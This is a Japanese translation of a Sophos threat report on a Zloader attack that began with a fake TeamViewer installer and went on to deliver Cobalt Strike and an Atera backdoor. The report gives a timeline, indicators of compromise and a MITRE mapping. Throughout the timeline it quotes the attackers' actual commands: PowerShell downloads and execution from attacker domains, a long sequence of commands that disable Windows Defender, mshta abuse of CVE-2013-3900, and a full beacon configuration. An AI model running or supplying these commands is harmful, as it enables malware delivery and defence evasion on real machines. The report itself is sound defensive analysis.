** 本記事は、Zloader Installs Remote Access Backdoors and Delivers Cobalt Strike の翻訳です。最新の情報は英語記事をご覧ください。**
最近、 Egregor と Ryuk ランサムウェアの関連グループは、最初の侵入方法として Zloader を利用しています。Zloader は、 VNC リモートアクセス機能を備えており、ロシア語圏で悪名の高いサイバー犯罪フォーラム exploit[.]in で提供されました。.
Zloader は、悪意のある Web 広告を利用してユーザーをリダイレクトし、悪意のある MSI ファイルをダウンロードさせることで感染させます。過去一年にわたって、 攻撃者は Zloader の MSI ファイルを、 Zoom 、 TeamViewer 、 Discord などのリモートワークアプリケーションのインストーラーとして偽装しました。
Sophos Managed Threat Response Team は先日、Zloader 攻撃を検出、対応しました。この攻撃は CobaltStrike を配信し、継続的にリモートアクセスできるように Atera Agent をインストールします。MTR は、Zloader が Windows の既知の脆弱性を利用して、 Microsoft が提供するデジタル署名付きファイルに悪意のあるスクリプトコンテンツを付加できることを確認しました (CVE-2013-3900) 。この 1 ヶ月の間に、他に 2 つのセキュリティベンダーがこの攻撃に関連する調査を公開しています。Checkpoint 社は、 Zloader が CVE-2013-3900 を悪用する方法の詳細を最初に公表しました。その後まもなく、Walmart GlobalTech がこの攻撃に関する調査を詳述し、「感染は主に米国とヨーロッパで発生している」という調査結果を発表しています。ソフォスは、初期のアクセス方法や展開された CobaltStrike ビーコンに関する独自の観測をもとにした調査結果を公表することにしました。
イベントのタイムライン
19:29
12 月 10 日 (金)、米国の自動車会社内のユーザーが、 Google で「 teamviewer download 」と検索し、自分のコンピュータにリモートアクセスツールをインストールしようとしました。残念ながら、このユーザーは悪意のある広告をクリックしてしまい、TeamViewer.msi という悪意のあるインストールパッケージをダウンロードし、実行しました
この悪意のあるダウンロードは、teamviewer-u[.]com というドメインを使用して実行されました。
このコマンド&コントロールドメインは、 ソフォスが分析した際には Zloader ドメイン zoomvideoconference[.]com と同じホスティング IP アドレスを共有していました。
19:30
ダウンロードした TeamViewer.msi が実行されると、internal.exeという名前の悪意のある実行ファイルがディスクに書き込まれます。この悪意のある実行ファイルは、正規の TeamViewer アプリケーションと並行して起動されました。
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe "C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\TeamViewer_Service.exe
internal.exe は、 Zloader コマンド&コントロールサーバーである clouds222[.]com から追加のマルウェアをダウンロードし、実行するインストールスクリプトを起動しました。
cmd.exe /C C:/Users/User/AppData/Roaming/internal/launch.bat powershell Invoke-WebRequest https[://]clouds222[.]com/t1m/index/processingSetRequestBat2/?servername=msi -OutFile flash.bat C:\Windows\System32\cmd.exe" /c C:\Users\User\AppData\Roaming\internal\flash.bat
ダウンロードしたスクリプト flash.bat は、ユーザーアプリケーションコントロールを回避し、攻撃者の権限を昇格させるように設計された VBS スクリプトを実行しました。
"C:\WINDOWS\system32\cacls.exe" "C:\WINDOWS\system32\config\system" "C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\getadmin.vbs"
19:31
flash.bat はその後、 2 回目の実行を行いましたが、今回は clouds222[.]com から追加のペイロードとツールをダウンロードするために使用されました。
powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat3/?servername=msi -OutFile appContast.dll powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat4/?servername=msi -OutFile flashupdate.ps1 PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'" ping 127.0.0.1 -n 3 cmd /c del "C:\Users\User\AppData\Roaming\internal\flash.bat" PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"
最初の MSI マルウェアの実行から約 2 分後、ダウンロードされたファイル flashupdate.ps1 が実行されました。このスクリプトには、 GnuPg をインストールし、ペイロードを復号化するための機能が含まれていました。
"C:\WINDOWS\System32\Wbem\WMIC.exe" computersystem get domain "C:\WINDOWS\system32\ARP.EXE" -a "C:\Users\User\AppData\Roaming\gpg4win-2.2.5.exe" /S "C:\WINDOWS\system32\cmd.exe /c ""C:\Users\User\AppData\Roaming\ais.bat""
PowerShell スクリプト flashupdate.ps1 は、もう 1 つのポストエクスプロイトスクリプト ais.bat を実行しました。このバッチスクリプトは、commandaadmin[.]com を利用して、 Nsudo というツールの名前を変更したコピーをダウンロードしました (TrustedInstaller)。Nsudo というのは、攻撃者が昇格した権限でプロセスを実行するために一般的に悪用するプログラムです。このスクリプトは、reg.exe を使用して、 Windows Defender の通知を抑制するなど、検出を回避するために複数のレジストリキーを変更しました。Bcdedit.exe は、’sc config’ を介して Windows defender を無効にする前に、Windows スタートアップ修復を無効にするために使用されます。ais.bat は、観測されたコマンドの類似性から、「Windows Defender の保護を完全に無効にすると主張している「Defeat-Defender」というオープンソースのスクリプトから派生した可能性があります。
powershell Invoke-WebRequest https[:]//commandaadmin[.]com/adminpriv.exe -OutFile adminpriv.exe adminpriv -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat"" adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures adminpriv -U:T sc config WinDefend start= disabled powershell Invoke-WebRequest https[:]//commandaadmin[.]com/auto.bat -OutFile auto.bat
ダウンロードされたペイロードの appContast.dll と apiicontrast.dl は、 Windows の既知の脆弱性である CVE-2013-3900 を利用しています。これにより、 Zloader は、 Microsoft によってデジタル署名されたファイルに、悪意のあるスクリプトコンテンツを付加することが可能になります。付加されたスクリプトコンテンツは、 Windows のバイナリである mshta.exe を使用して実行されます。
cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\appContast.dll cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\apiicontrast.dll
appContrast.dll が実行されると、追加の防御回避コマンドが観測されました。PowerShell は、 Windows Defender のモジュールを改ざんするために使用されました。
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming' Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming*' Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming\*' Add-MpPreference -ExclusionPath 'C:\Users\User\*' Add-MpPreference -ExclusionPath 'C:\Users\User' Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\*' Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\' Set-MpPreference -MAPSReporting 0 Add-MpPreference -ExclusionProcess 'regsvr32' Add-MpPreference -ExclusionProcess 'powershell.exe' Add-MpPreference -ExclusionExtension '.exe' Add-MpPreference -ExclusionProcess 'regsvr32*' Add-MpPreference -ExclusionProcess '.dll' Add-MpPreference -ExclusionProcess '*.dll' Set-MpPreference -PUAProtection disable Set-MpPreference -EnableControlledFolderAccess Disabled Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableBehaviorMonitoring $true Set-MpPreference -DisableIOAVProtection $true Set-MpPreference -DisablePrivacyMode $true Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true Set-MpPreference -DisableArchiveScanning $true Set-MpPreference -DisableIntrusionPreventionSystem $true Set-MpPreference -DisableScriptScanning $true Set-MpPreference -SubmitSamplesConsent 2 Add-MpPreference -ExclusionProcess '*.exe' Add-MpPreference -ExclusionProcess 'explorer.exe' Add-MpPreference -ExclusionProcess '.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force Set-MpPreference -ModerateThreatDefaultAction 6 Set-MpPreference -LowThreatDefaultAction 6 Set-MpPreference -SevereThreatDefaultAction 6 Set-MpPreference -ScanScheduleDay 8 Add-MpPreference -ExclusionProcess 'msiexec.exe' Add-MpPreference -ExclusionProcess 'rundll32.exe' Add-MpPreference -ExclusionProcess 'rundll32*'
apiicontrast.dll が MSHTA で実行されると、 Cobalt Strike ペイロードである zoom.dll の復号と実行に先立って、 VBS スリープスクリプトが起動されます。この GPG 復号化パスワードが Zloader に関連付けられたことが、 Twitter ユーザーの @nao_sec によって 11 月 28 日に初めて確認されました。
"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\WScriptSleeper.vbs" 45000 "C:\Windows\System32\cmd.exe" /c PowerShell -NoProfile -ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption -FolderPath C:\Users\User\AppData\Roaming -Password 'bibigroup' "C:\Windows\System32\cmd.exe" /c rundll32.exe zoom2.dll DllRegisterServer "C:\Windows\System32\cmd.exe" /c zoom1.msi "C:\Windows\System32\cmd.exe" /c regsvr32 zoom.dll
同時に、 msiexec は AteraAgent を経由したリモートアクセスバックドアをインストールしました。Conti ランサムウェアに関連するランサムウェアグループは、頻繁に AteraAgent や他のリモートアクセスツールを採用しています。復号化された Cobalt Strike ペイロード zoom.dll は、以下のビーコン設定を使用して C2 サーバー sdilok[.]com/jquery-3[.]3[.]1[.]min[.]js と通信しようとします。
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe" "C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="milliesoho@yahoo.com" /CompanyId="1" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId="" NET STOP AteraAgent taskkill /f /im AteraAgent.exe "C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /u "C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="" /CompanyId="" /IntegratorLoginUI="" /CompanyIdUI=""
The decrypted Cobalt Strike payload zoom.dll attempts to communicate with the C2 server sdilok[.]com/jquery-3[.]3[.]1[.]min[.]js using the BEACON configuration below.
{ "BeaconType": [ "HTTP" ], "Port": 80, "SleepTime": 5000, "MaxGetSize": 1403644, "Jitter": 10, "PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCEEz909XdV3PkUiLxDGpWVdPD3B4EbAj5EfUWeabGyL6L tDBTgG0rgRmafGGYCCaNU51WT4X9vu0vpXJvm+j0xmQcd3oy3ZmJfZpmNvgjGMYi4O077 fl7Mda1Q+plqpnJ3Oi8Mv5VIccWGfuPbRq8dLT38rkb20IVTCYnrle/AHQIDAQABAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", "PublicKey_MD5": "c60a248cc3e3ad52088035b21bf170a4", "C2Server": "sdilok.com,/jquery-3.3.1.min.js", "UserAgent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko", "HttpPostUri": "/jquery-3.3.2.min.js", "Malleable_C2_Instructions": [ "Remove 1522 bytes from the end", "Remove 84 bytes from the beginning", "Remove 3931 bytes from the beginning", "Base64 URL-safe decode", "XOR mask w/ random key" ], "HttpGet_Metadata": { "ConstHeaders": [ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer: http://code.jquery.com/", "Accept-Encoding: gzip, deflate" ], "ConstParams": [], "Metadata": [ "base64url", "prepend \"__cfduid=\"", "header \"Cookie\"" ], "SessionId": [], "Output": [] }, "HttpPost_Metadata": { "ConstHeaders": [ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer: http://code.jquery.com/", "Accept-Encoding: gzip, deflate" ], "ConstParams": [], "Metadata": [], "SessionId": [ "mask", "base64url", "parameter \"__cfduid\"" ], "Output": [ "mask", "base64url", "print" ] }, "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "SSH_Banner": "", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe", "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 0, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 17500, "ProcInject_PrependAppend_x86": [ "kJA=", "Empty" ], "ProcInject_PrependAppend_x64": [ "kJA=", "Empty" ], "ProcInject_Execute": [ "ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread" ], "ProcInject_AllocationMethod": "NtMapViewOfSection", "ProcInject_Stub": "Ms1B7fCBDFtfSY7fRzHMbQ==", "bUsesCookies": "True", "HostHeader": "", "smbFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "tcpFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "DNS_strategy": "round-robin", "DNS_strategy_rotate_seconds": -1, "DNS_strategy_fail_x": -1, "DNS_strategy_fail_seconds": -1 }
応答と修復
19:34
Sophos EDR/XDR は、メモリ内の Cobalt Strike ペイロードを ‘C2_6a T1071.001 mem/cobalt-d’ として検出し、悪意のある rundll32.exe プロセスを終了させ、Cobalt Strike ペイロードをディスクから削除する措置を自動的に実行します。
19:35
Sophos Managed Threat Response チームは、攻撃が疑われるコマンドと Cobalt Strike の検出についての調査を作成しました。Cobalt Strike は、攻撃者によって広く使用されているリモートアクセスエージェントで、一般的にランサムウェア攻撃の前兆とみなされます。
19:37
ソフォスの MTR アナリストは、最初のマルウェア実行からわずか 6 分後にこの攻撃への対応を開始しました。対応している間、MTR チームは、影響を受けたホストを隔離し、それ以降のネットワーク接続を防止しました。調査時には、 MTR チームは SophosLabs と密接に連携し、顧客全体の安全を確保するために必要な措置を即座に講じました。MTR は Atera バックドアを無効にし、影響を受けた顧客と協力して、影響を 1 台のワークステーション デバイスに抑えることに成功しました。
セキュリティ侵害の痕跡
インジケーター | タイプ |
teamviewer-u[.]com | コマンドアンドコントロール |
zoomvideoconference[.]com | コマンドアンドコントロール |
https[:]//sdilok[.]com/jquery-3.3.1.min.js | コマンドアンドコントロール – Cobalt Strike |
https[:]//clouds222[.]com | コマンドアンドコントロール |
https[:]//commandaadmin[.]com | コマンドアンドコントロール |
a187d9c0b4bdb4d0b5c1d2bdbcb65090dcee5d8c | ファイル – ‘TeamViewer.msi’ |
3eda16e4d60e1a79ad97fc1d195ccbe5d97e699f | ファイル – ‘auto.bat’ |
f4879eb2c159c4e73139d1ac5d5c8862af8f1719 | ファイル – ‘internal.exe |
3a80a49efaac5d839400e4fb8f803243fb39a513 | ファイル – ‘adminpriv.exe’ |
5c59ef0d8c0919082128e98a757d844c0ace54e3 | ファイル – ‘ais.bat’ |
23136ecb2edb263db390b6b9fcf9000ff23441a9 | ファイル – ‘appContast.dll’ |
5912bfbd07dec5dd7798e7cb413299c788a8fd9e | ファイル – ‘flashupdate.ps1’ |
5ec4ba41b2066654d8e0dfd0aea770197ad2f21c | ファイル – ‘zoom1.msi.gpg’ |
b350b770b8b79ffb16574d59e4ca4fafacca19cd | ファイル – ‘zoom1.msi’ |
41a47cc8807121cac19597bc0455084e714604bc | ファイル – ‘zoom2.dll.gpg’ |
2c15d43aab71465c9308e0cc306339925d47dea3 | ファイル – ‘zoom2.dll’ |
MITRE ATT&CK マッピング
MITRE 戦術 | MITRE 手法 |
初期アクセス | T1189 – Web 閲覧による感染 |
実行 | T1059 – コマンドおよびスクリプトのインタープリタ
T1204 – ユーザーによる実行 |
常駐化 | T1543 – システムプロセスの作成または変更 |
権限昇格 | T1055 – プロセスインジェクション
T1548 – 権限昇格制御の悪用 |
防御回避 | T1218 – 署名入りバイナリプロキシ実行
T1562 – 防御機能の無効化 T1036 – 偽装 T1140 – ファイルや情報の難読化・復号化 |
コマンドアンドコントロール | T1219 – リモートアクセスソフトウェア
T1071 – アプリケーションレイヤープロトコル: Webプロトコル |
検出 | T1482 – ドメインの信頼関係の検出 |
データの外部への漏えい | T1041 – コマンドアンドコントロールチャンネルを介した漏えい |
執筆と調査: Colin Cowie、協力: Stan Andic、Sophos MTR チーム